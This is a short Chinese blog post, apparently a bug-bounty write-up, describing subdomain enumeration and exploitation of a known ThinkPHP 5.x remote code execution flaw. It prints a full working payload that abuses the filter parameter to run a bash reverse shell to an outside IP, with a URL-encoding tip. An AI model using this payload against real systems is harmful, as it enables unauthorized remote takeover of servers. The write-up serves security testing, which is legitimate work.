闲来无事,盒子上申请了下项目,发现二个 thinkPHP 的站,版本还都挺老,记录一下 反弹 shell 的过程。
盒子项目申请一过,准时准点往前冲,发现测试范围只有一个子域名,稍微过了一下, 前排明显的漏洞应该大佬们都提完了,就想着大佬们往前冲,我就另辟蹊径看看能不能通过 其他子域进到测试范围。惯例先干子域名,用 oneforall 跑了下子域名,大概几十个,然后用 goby 过了一下子域名的资产
心里的想法就开始躁动不安了,那可得好好干一下,tp5 的洞第一次挖,也顺带记录学 习一下,往后备用。
首先,我是先去找了一下有没有Nday可以利用的。谁叫thinkphp有那么多的漏洞呢!不用太可惜了!于是乎我找到了。
thinkphp5.0.x、5.1.x、5.2.x 这几个版本,都无需登入可以进行远程代码执行
https://www.freebuf.com/column/230787.html
文章中很好的复现了该漏洞了,也提供了POC我们可以直接进行测试了。
https://github.com/sukabuliet/ThinkphpRCE
哈哈 成功利用了!~~~(*^_^*) 而且还知道了是linux的系统
Poc:_method=__construct&method=get&filter[]=system&get[]=bash -i >&/dev/tcp/10.10.10.11/4430 >&1
反弹 shell 这里有个不大不小的坑,因为连接符的关系没能完整的把代码传过去,这里就利用url编码进行了简单的绕过这个问题,所以 没反弹成功的Poc:bash-i>&/dev/tcp/10.10.10.11/4430>&1(需要url编码)
就这样完成了一次测试:
信息收集(子域名)->goby(批量子域名指纹收集)->Nday利用->内网转发反弹shell
本文始发于微信公众号(NOVASEC):Thinkphp5挖洞记录
评论